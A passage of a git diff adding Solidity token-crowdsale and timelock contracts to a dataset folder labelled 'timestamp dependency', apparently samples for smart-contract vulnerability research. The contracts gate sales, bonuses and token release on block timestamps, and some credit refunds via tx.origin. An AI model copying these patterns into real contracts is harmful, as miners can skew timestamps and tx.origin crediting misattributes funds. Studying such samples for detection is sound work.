public token; + + + address public wallet; + + + + + + uint256 public rate; + + + uint256 public weiRaised; + + + event TokenPurchase( + address indexed purchaser, + address indexed beneficiary, + uint256 value, + uint256 amount + ); + + + constructor(uint256 _rate, address _wallet, ERC20 _token) public { + require(_rate > 0); + require(_wallet != address(0)); + require(_token != address(0)); + + rate = _rate; + wallet = _wallet; + token = _token; + } + + + + + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable { + + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + + + + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + require(_beneficiary != address(0)); + require(_weiAmount != 0); + } + + + function _postValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + + } + + + function _deliverTokens( + address _beneficiary, + uint256 _tokenAmount + ) + internal + { + token.transfer(_beneficiary, _tokenAmount); + } + + + function _processPurchase( + address _beneficiary, + uint256 _tokenAmount + ) + internal + { + _deliverTokens(_beneficiary, _tokenAmount); + } + + + function _updatePurchasingState( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + + } + + + function _getTokenAmount(uint256 _weiAmount) + internal view returns (uint256) + { + return _weiAmount.mul(rate); + } + + + function _forwardFunds() internal { + wallet.transfer(msg.value); + } +} + + + + +contract TimedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public openingTime; + uint256 public closingTime; + + + modifier onlyWhileOpen { + + require(block.timestamp >= openingTime && block.timestamp <= closingTime); + _; + } + + + constructor(uint256 _openingTime, uint256 _closingTime) public { + + require(_openingTime >= block.timestamp); + require(_closingTime >= _openingTime); + + openingTime = _openingTime; + closingTime = _closingTime; + } + + + function hasClosed() public view returns (bool) { + + return block.timestamp > closingTime; + } + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + onlyWhileOpen + { + super._preValidatePurchase(_beneficiary, _weiAmount); + } + +} + + + + +contract FinalizableCrowdsale is TimedCrowdsale, Ownable { + using SafeMath for uint256; + + bool public isFinalized = false; + + event Finalized(); + + + function finalize() onlyOwner public { + require(!isFinalized); + require(hasClosed()); + + finalization(); + emit Finalized(); + + isFinalized = true; + } + + + function finalization() internal { + } + +} + + + +contract StageCrowdsale is FinalizableCrowdsale { + bool public previousStageIsFinalized = false; + StageCrowdsale public previousStage; + + constructor( + uint256 _rate, + address _wallet, + ERC20 _token, + uint256 _openingTime, + uint256 _closingTime, + StageCrowdsale _previousStage + ) + public + Crowdsale(_rate, _wallet, _token) + TimedCrowdsale(_openingTime, _closingTime) + { + previousStage = _previousStage; + if (_previousStage == address(0)) { + previousStageIsFinalized = true; + } + } + + modifier isNotFinalized() { + require(!isFinalized, "Call on finalized."); + _; + } + + modifier previousIsFinalized() { + require(isPreviousStageFinalized(), "Call on previous stage finalized."); + _; + } + + function finalizeStage() public onlyOwner isNotFinalized { + _finalizeStage(); + } + + function proxyBuyTokens(address _beneficiary) public payable { + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + + emit TokenPurchase(tx.origin, _beneficiary, weiAmount, tokens); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + function isPreviousStageFinalized() public returns (bool) { + if (previousStageIsFinalized) { + return true; + } + if (previousStage.isFinalized()) { + previousStageIsFinalized = true; + } + return previousStageIsFinalized; + } + + function _finalizeStage() internal isNotFinalized { + finalization(); + emit Finalized(); + isFinalized = true; + } + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isNotFinalized previousIsFinalized { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + + +contract CappedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public cap; + + + constructor(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + + function capReached() public view returns (bool) { + return weiRaised >= cap; + } + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + super._preValidatePurchase(_beneficiary, _weiAmount); + require(weiRaised.add(_weiAmount) <= cap); + } + +} + + + +contract CappedStageCrowdsale is CappedCrowdsale, StageCrowdsale { + using SafeMath for uint256; + + + function weiToCap() public view returns (uint256) { + return cap.sub(weiRaised); + } + + function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + super._postValidatePurchase(_beneficiary, _weiAmount); + if (weiRaised >= cap) { + _finalizeStage(); + } + } +} + + + + +contract LimitedMinPurchaseCrowdsale is Crowdsale { + using SafeMath for uint256; + + + uint256 public minPurchase; + + + constructor(uint256 _minPurchase) public { + require( + _minPurchase > 0, + "Call with insufficient _minPurchase." + ); + minPurchase = _minPurchase; + } + + modifier overMinPurchaseLimit(uint256 _weiAmount) { + require( + _weiAmount >= minPurchase, + "Call with insufficient _weiAmount." + ); + _; + } + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal overMinPurchaseLimit(_weiAmount) { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + +contract TokensSoldCountingCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public tokensSoldCount; + + + function _updatePurchasingState( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + uint256 tokens = _getTokenAmount(_weiAmount); + tokensSoldCount = tokensSoldCount.add(tokens); + } +} + + + + +contract ManualTokenDistributionCrowdsale is Crowdsale, Ownable, TokensSoldCountingCrowdsale { + + using SafeMath for uint256; + + + event TokenAssignment(address indexed beneficiary, uint256 amount); + + + + function manualSendTokens(address _beneficiary, uint256 _tokensAmount) public onlyOwner { + require(_beneficiary != address(0)); + require(_tokensAmount > 0); + + super._deliverTokens(_beneficiary, _tokensAmount); + tokensSoldCount = tokensSoldCount.add(_tokensAmount); + emit TokenAssignment(_beneficiary, _tokensAmount); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + +contract PausableCrowdsale is Crowdsale, Pausable { + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + + +contract RefundVault is Ownable { + using SafeMath for uint256; + + enum State { Active, Refunding, Closed } + + mapping (address => uint256) public deposited; + address public wallet; + State public state; + + event Closed(); + event RefundsEnabled(); + event Refunded(address indexed beneficiary, uint256 weiAmount); + + + constructor(address _wallet) public { + require(_wallet != address(0)); + wallet = _wallet; + state = State.Active; + } + + + function deposit(address investor) onlyOwner public payable { + require(state == State.Active); + deposited[investor] = deposited[investor].add(msg.value); + } + + function close() onlyOwner public { + require(state == State.Active); + state = State.Closed; + emit Closed(); + wallet.transfer(address(this).balance); + } + + function enableRefunds() onlyOwner public { + require(state == State.Active); + state = State.Refunding; + emit RefundsEnabled(); + } + + + function refund(address investor) public { + require(state == State.Refunding); + uint256 depositedValue = deposited[investor]; + deposited[investor] = 0; + investor.transfer(depositedValue); + emit Refunded(investor, depositedValue); + } +} + + + + +contract RefundableCrowdsale is FinalizableCrowdsale { + using SafeMath for uint256; + + + uint256 public goal; + + + RefundVault public vault; + + + constructor(uint256 _goal) public { + require(_goal > 0); + vault = new RefundVault(wallet); + goal = _goal; + } + + + function claimRefund() public { + require(isFinalized); + require(!goalReached()); + + vault.refund(msg.sender); + } + + + function goalReached() public view returns (bool) { + return weiRaised >= goal; + } + + + function finalization() internal { + if (goalReached()) { + vault.close(); + } else { + vault.enableRefunds(); + } + + super.finalization(); + } + + + function _forwardFunds() internal { + vault.deposit.value(msg.value)(msg.sender); + } + +} + + + +contract RefundableStageCrowdsale is RefundableCrowdsale { + + function _forwardFunds() internal { + + vault.deposit.value(msg.value)(tx.origin); + } +} + + + + +library Roles { + struct Role { + mapping (address => bool) bearer; + } + + + function add(Role storage role, address addr) + internal + { + role.bearer[addr] = true; + } + + + function remove(Role storage role, address addr) + internal + { + role.bearer[addr] = false; + } + + + function check(Role storage role, address addr) + view + internal + { + require(has(role, addr)); + } + + + function has(Role storage role, address addr) + view + internal + returns (bool) + { + return role.bearer[addr]; + } +} + + + + +contract RBAC { + using Roles for Roles.Role; + + mapping (string => Roles.Role) private roles; + + event RoleAdded(address addr, string roleName); + event RoleRemoved(address addr, string roleName); + + + function checkRole(address addr, string roleName) + view + public + { + roles[roleName].check(addr); + } + + + function hasRole(address addr, string roleName) + view + public + returns (bool) + { + return roles[roleName].has(addr); + } + + + function addRole(address addr, string roleName) + internal + { + roles[roleName].add(addr); + emit RoleAdded(addr, roleName); + } + + + function removeRole(address addr, string roleName) + internal + { + roles[roleName].remove(addr); + emit RoleRemoved(addr, roleName); + } + + + modifier onlyRole(string roleName) + { + checkRole(msg.sender, roleName); + _; + } + + + + + + + + + + + + + + + +} + + + + +contract Whitelist is Ownable, RBAC { + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + string public constant ROLE_WHITELISTED = "whitelist"; + + + modifier onlyWhitelisted() { + checkRole(msg.sender, ROLE_WHITELISTED); + _; + } + + + function addAddressToWhitelist(address addr) + onlyOwner + public + { + addRole(addr, ROLE_WHITELISTED); + emit WhitelistedAddressAdded(addr); + } + + + function whitelist(address addr) + public + view + returns (bool) + { + return hasRole(addr, ROLE_WHITELISTED); + } + + + function addAddressesToWhitelist(address[] addrs) + onlyOwner + public + { + for (uint256 i = 0; i < addrs.length; i++) { + addAddressToWhitelist(addrs[i]); + } + } + + + function removeAddressFromWhitelist(address addr) + onlyOwner + public + { + removeRole(addr, ROLE_WHITELISTED); + emit WhitelistedAddressRemoved(addr); + } + + + function removeAddressesFromWhitelist(address[] addrs) + onlyOwner + public + { + for (uint256 i = 0; i < addrs.length; i++) { + removeAddressFromWhitelist(addrs[i]); + } + } + +} + + + +contract WhitelistedCrowdsale is Crowdsale, Ownable { + Whitelist public whitelist; + + constructor (Whitelist _whitelist) public { + require(_whitelist != address(0)); + whitelist = _whitelist; + } + + + modifier onlyWhitelisted(address _beneficiary) { + require(whitelist.whitelist(_beneficiary)); + _; + } + + function isWhitelisted(address _beneficiary) public view returns(bool) { + return whitelist.whitelist(_beneficiary); + } + + function changeWhitelist(Whitelist _whitelist) public onlyOwner { + whitelist = _whitelist; + } + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhitelisted(_beneficiary) { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + + + +contract BlockFollowMainStageCrowdsale is StageCrowdsale, CappedStageCrowdsale, LimitedMinPurchaseCrowdsale, + ManualTokenDistributionCrowdsale, PausableCrowdsale, RefundableStageCrowdsale, WhitelistedCrowdsale { + using SafeMath for uint256; + + mapping (address => bool) public claimedBonus; + uint256 public ratePerEth; + + uint256 public bonusTokensPool; + uint256 public burnPercentage; + uint256 public totalTokensSold; + uint256 purchasableTokenSupply; + + constructor( + address _wallet, + ERC20 _token, + uint256 _openingTime, + StageCrowdsale _previousStage, + uint256 _ratePerEth, + uint256 _minPurchase, + uint256 _minCap, + uint256 _maxCap, + uint256 _burnPercentage, + uint256 _purchasableTokenSupply, + Whitelist _whitelist + ) + public + CappedCrowdsale(_maxCap) + LimitedMinPurchaseCrowdsale(_minPurchase) + StageCrowdsale(_ratePerEth, _wallet, _token, _openingTime, _openingTime + 4 weeks, _previousStage) + RefundableCrowdsale(_minCap) + WhitelistedCrowdsale(_whitelist) + { + require(_ratePerEth > 0, "Rate per ETH cannot be null"); + require(_burnPercentage > 0, "Burn percenatage cannot be null"); + require(_purchasableTokenSupply > 0, "Purchasable token supply cannot be null"); + ratePerEth = _ratePerEth; + burnPercentage = _burnPercentage; + purchasableTokenSupply = _purchasableTokenSupply; + } + + + modifier canClaimBonus() { + require(isFinalized, "Cannot claim bonus when stage is not yet finalized"); + + require(now < openingTime + 6 weeks, "Cannot claim bonus tokens too soon"); + require(!claimedBonus[msg.sender], "Cannot claim bonus tokens repeatedly"); + require(totalTokensSold > 0, "Cannot claim bonus tokens when no purchase have been made"); + _; + } + + + function claimBonusTokens() public canClaimBonus { + uint256 senderBalance = token.balanceOf(msg.sender); + uint256 purchasedProportion = senderBalance.mul(1e18).div(totalTokensSold); + uint256 bonusForSender = bonusTokensPool.mul(purchasedProportion).div(1e18); + token.transfer(msg.sender, bonusForSender); + claimedBonus[msg.sender] = true; + } + + + function claimRemainingTokens() public onlyOwner { + uint256 balance = token.balanceOf(this); + manualSendTokens(msg.sender, balance); + } + + + function finalization() internal { + super.finalization(); + + uint256 balance = token.balanceOf(address(this)); + totalTokensSold = purchasableTokenSupply.sub(balance); + + uint256 balanceToBurn = balance.mul(burnPercentage).div(100); + BurnableToken(address(token)).burn(balanceToBurn); + + uint256 bonusPercentage = 100 - burnPercentage; + bonusTokensPool = balance.mul(100).mul(bonusPercentage).div(1e4); + } + + + + function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + return _weiAmount.div(1e10).mul(ratePerEth); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6059.sol b/smart_contract_dataset/timestamp dependency/6059.sol new file mode 100644 index 0000000000000000000000000000000000000000..f2563f563c20cf9191a427c98cf92909cf99c5d5 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6059.sol @@ -0,0 +1,903 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract Crowdsale { + using SafeMath for uint256; + + + ERC20 public token; + + + address public wallet; + + + + + + uint256 public rate; + + + uint256 public weiRaised; + + + event TokenPurchase( + address indexed purchaser, + address indexed beneficiary, + uint256 value, + uint256 amount + ); + + + constructor(uint256 _rate, address _wallet, ERC20 _token) public { + require(_rate > 0); + require(_wallet != address(0)); + require(_token != address(0)); + + rate = _rate; + wallet = _wallet; + token = _token; + } + + + + + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable { + + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + + + + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + require(_beneficiary != address(0)); + require(_weiAmount != 0); + } + + + function _postValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + + } + + + function _deliverTokens( + address _beneficiary, + uint256 _tokenAmount + ) + internal + { + token.transfer(_beneficiary, _tokenAmount); + } + + + function _processPurchase( + address _beneficiary, + uint256 _tokenAmount + ) + internal + { + _deliverTokens(_beneficiary, _tokenAmount); + } + + + function _updatePurchasingState( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + + } + + + function _getTokenAmount(uint256 _weiAmount) + internal view returns (uint256) + { + return _weiAmount.mul(rate); + } + + + function _forwardFunds() internal { + wallet.transfer(msg.value); + } +} + + + + +contract TimedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public openingTime; + uint256 public closingTime; + + + modifier onlyWhileOpen { + + require(block.timestamp >= openingTime && block.timestamp <= closingTime); + _; + } + + + constructor(uint256 _openingTime, uint256 _closingTime) public { + + require(_openingTime >= block.timestamp); + require(_closingTime >= _openingTime); + + openingTime = _openingTime; + closingTime = _closingTime; + } + + + function hasClosed() public view returns (bool) { + + return block.timestamp > closingTime; + } + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + onlyWhileOpen + { + super._preValidatePurchase(_beneficiary, _weiAmount); + } + +} + + + + +contract FinalizableCrowdsale is TimedCrowdsale, Ownable { + using SafeMath for uint256; + + bool public isFinalized = false; + + event Finalized(); + + + function finalize() onlyOwner public { + require(!isFinalized); + require(hasClosed()); + + finalization(); + emit Finalized(); + + isFinalized = true; + } + + + function finalization() internal { + } + +} + + + +contract StageCrowdsale is FinalizableCrowdsale { + bool public previousStageIsFinalized = false; + StageCrowdsale public previousStage; + + constructor( + uint256 _rate, + address _wallet, + ERC20 _token, + uint256 _openingTime, + uint256 _closingTime, + StageCrowdsale _previousStage + ) + public + Crowdsale(_rate, _wallet, _token) + TimedCrowdsale(_openingTime, _closingTime) + { + previousStage = _previousStage; + if (_previousStage == address(0)) { + previousStageIsFinalized = true; + } + } + + modifier isNotFinalized() { + require(!isFinalized, "Call on finalized."); + _; + } + + modifier previousIsFinalized() { + require(isPreviousStageFinalized(), "Call on previous stage finalized."); + _; + } + + function finalizeStage() public onlyOwner isNotFinalized { + _finalizeStage(); + } + + function proxyBuyTokens(address _beneficiary) public payable { + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + + emit TokenPurchase(tx.origin, _beneficiary, weiAmount, tokens); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + function isPreviousStageFinalized() public returns (bool) { + if (previousStageIsFinalized) { + return true; + } + if (previousStage.isFinalized()) { + previousStageIsFinalized = true; + } + return previousStageIsFinalized; + } + + function _finalizeStage() internal isNotFinalized { + finalization(); + emit Finalized(); + isFinalized = true; + } + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isNotFinalized previousIsFinalized { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + + +contract CappedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public cap; + + + constructor(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + + function capReached() public view returns (bool) { + return weiRaised >= cap; + } + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + super._preValidatePurchase(_beneficiary, _weiAmount); + require(weiRaised.add(_weiAmount) <= cap); + } + +} + + + +contract CappedStageCrowdsale is CappedCrowdsale, StageCrowdsale { + using SafeMath for uint256; + + + function weiToCap() public view returns (uint256) { + return cap.sub(weiRaised); + } + + function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + super._postValidatePurchase(_beneficiary, _weiAmount); + if (weiRaised >= cap) { + _finalizeStage(); + } + } +} + + + +contract TokensSoldCountingCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public tokensSoldCount; + + + function _updatePurchasingState( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + uint256 tokens = _getTokenAmount(_weiAmount); + tokensSoldCount = tokensSoldCount.add(tokens); + } +} + + + + +contract ManualTokenDistributionCrowdsale is Crowdsale, Ownable, TokensSoldCountingCrowdsale { + + using SafeMath for uint256; + + + event TokenAssignment(address indexed beneficiary, uint256 amount); + + + + function manualSendTokens(address _beneficiary, uint256 _tokensAmount) public onlyOwner { + require(_beneficiary != address(0)); + require(_tokensAmount > 0); + + super._deliverTokens(_beneficiary, _tokensAmount); + tokensSoldCount = tokensSoldCount.add(_tokensAmount); + emit TokenAssignment(_beneficiary, _tokensAmount); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + +contract PausableCrowdsale is Crowdsale, Pausable { + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + + +contract TokensRollStageCrowdsale is FinalizableCrowdsale { + + + address public rollAddress; + + + modifier havingRollAddress() { + require(rollAddress != address(0), "Call when no roll address set."); + _; + } + + + function finalization() internal havingRollAddress { + super.finalization(); + token.transfer(rollAddress, token.balanceOf(this)); + } + + + function setRollAddress(address _rollAddress) public onlyOwner { + require(_rollAddress != address(0), "Call with invalid _rollAddress."); + rollAddress = _rollAddress; + } +} + + + + +library Roles { + struct Role { + mapping (address => bool) bearer; + } + + + function add(Role storage role, address addr) + internal + { + role.bearer[addr] = true; + } + + + function remove(Role storage role, address addr) + internal + { + role.bearer[addr] = false; + } + + + function check(Role storage role, address addr) + view + internal + { + require(has(role, addr)); + } + + + function has(Role storage role, address addr) + view + internal + returns (bool) + { + return role.bearer[addr]; + } +} + + + + +contract RBAC { + using Roles for Roles.Role; + + mapping (string => Roles.Role) private roles; + + event RoleAdded(address addr, string roleName); + event RoleRemoved(address addr, string roleName); + + + function checkRole(address addr, string roleName) + view + public + { + roles[roleName].check(addr); + } + + + function hasRole(address addr, string roleName) + view + public + returns (bool) + { + return roles[roleName].has(addr); + } + + + function addRole(address addr, string roleName) + internal + { + roles[roleName].add(addr); + emit RoleAdded(addr, roleName); + } + + + function removeRole(address addr, string roleName) + internal + { + roles[roleName].remove(addr); + emit RoleRemoved(addr, roleName); + } + + + modifier onlyRole(string roleName) + { + checkRole(msg.sender, roleName); + _; + } + + + + + + + + + + + + + + + +} + + + + +contract Whitelist is Ownable, RBAC { + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + string public constant ROLE_WHITELISTED = "whitelist"; + + + modifier onlyWhitelisted() { + checkRole(msg.sender, ROLE_WHITELISTED); + _; + } + + + function addAddressToWhitelist(address addr) + onlyOwner + public + { + addRole(addr, ROLE_WHITELISTED); + emit WhitelistedAddressAdded(addr); + } + + + function whitelist(address addr) + public + view + returns (bool) + { + return hasRole(addr, ROLE_WHITELISTED); + } + + + function addAddressesToWhitelist(address[] addrs) + onlyOwner + public + { + for (uint256 i = 0; i < addrs.length; i++) { + addAddressToWhitelist(addrs[i]); + } + } + + + function removeAddressFromWhitelist(address addr) + onlyOwner + public + { + removeRole(addr, ROLE_WHITELISTED); + emit WhitelistedAddressRemoved(addr); + } + + + function removeAddressesFromWhitelist(address[] addrs) + onlyOwner + public + { + for (uint256 i = 0; i < addrs.length; i++) { + removeAddressFromWhitelist(addrs[i]); + } + } + +} + + + +contract WhitelistedCrowdsale is Crowdsale, Ownable { + Whitelist public whitelist; + + constructor (Whitelist _whitelist) public { + require(_whitelist != address(0)); + whitelist = _whitelist; + } + + + modifier onlyWhitelisted(address _beneficiary) { + require(whitelist.whitelist(_beneficiary)); + _; + } + + function isWhitelisted(address _beneficiary) public view returns(bool) { + return whitelist.whitelist(_beneficiary); + } + + function changeWhitelist(Whitelist _whitelist) public onlyOwner { + whitelist = _whitelist; + } + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhitelisted(_beneficiary) { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + + +contract RefundVault is Ownable { + using SafeMath for uint256; + + enum State { Active, Refunding, Closed } + + mapping (address => uint256) public deposited; + address public wallet; + State public state; + + event Closed(); + event RefundsEnabled(); + event Refunded(address indexed beneficiary, uint256 weiAmount); + + + constructor(address _wallet) public { + require(_wallet != address(0)); + wallet = _wallet; + state = State.Active; + } + + + function deposit(address investor) onlyOwner public payable { + require(state == State.Active); + deposited[investor] = deposited[investor].add(msg.value); + } + + function close() onlyOwner public { + require(state == State.Active); + state = State.Closed; + emit Closed(); + wallet.transfer(address(this).balance); + } + + function enableRefunds() onlyOwner public { + require(state == State.Active); + state = State.Refunding; + emit RefundsEnabled(); + } + + + function refund(address investor) public { + require(state == State.Refunding); + uint256 depositedValue = deposited[investor]; + deposited[investor] = 0; + investor.transfer(depositedValue); + emit Refunded(investor, depositedValue); + } +} + + + + +contract RefundableCrowdsale is FinalizableCrowdsale { + using SafeMath for uint256; + + + uint256 public goal; + + + RefundVault public vault; + + + constructor(uint256 _goal) public { + require(_goal > 0); + vault = new RefundVault(wallet); + goal = _goal; + } + + + function claimRefund() public { + require(isFinalized); + require(!goalReached()); + + vault.refund(msg.sender); + } + + + function goalReached() public view returns (bool) { + return weiRaised >= goal; + } + + + function finalization() internal { + if (goalReached()) { + vault.close(); + } else { + vault.enableRefunds(); + } + + super.finalization(); + } + + + function _forwardFunds() internal { + vault.deposit.value(msg.value)(msg.sender); + } + +} + + + +contract BlockFollowPreSaleStageCrowdsale is StageCrowdsale, CappedStageCrowdsale, TokensRollStageCrowdsale, + ManualTokenDistributionCrowdsale, PausableCrowdsale, WhitelistedCrowdsale { + + uint256 public ratePerEth; + + constructor( + address _wallet, + ERC20 _token, + uint256 _openingTime, + uint256 _ratePerEth, + uint256 _maxCap, + Whitelist _whitelist + ) + public + CappedCrowdsale(_maxCap) + StageCrowdsale(_ratePerEth, _wallet, _token, _openingTime, _openingTime + 2 weeks, StageCrowdsale(address(0))) + WhitelistedCrowdsale(_whitelist) + { + require(_ratePerEth > 0, "Rate per ETH cannot be null"); + ratePerEth = _ratePerEth; + } + + + function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + return _weiAmount.div(1e10).mul(ratePerEth); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6065.sol b/smart_contract_dataset/timestamp dependency/6065.sol new file mode 100644 index 0000000000000000000000000000000000000000..a925487da1257aff60de7cfc93e7beea06e7e0b4 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6065.sol @@ -0,0 +1,383 @@ +pragma solidity ^0.4.24; + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + + + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint256 public releaseTime; + + constructor( + ERC20Basic _token, + address _beneficiary, + uint256 _releaseTime + ) + public + { + + require(_releaseTime > block.timestamp); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + + require(block.timestamp >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == 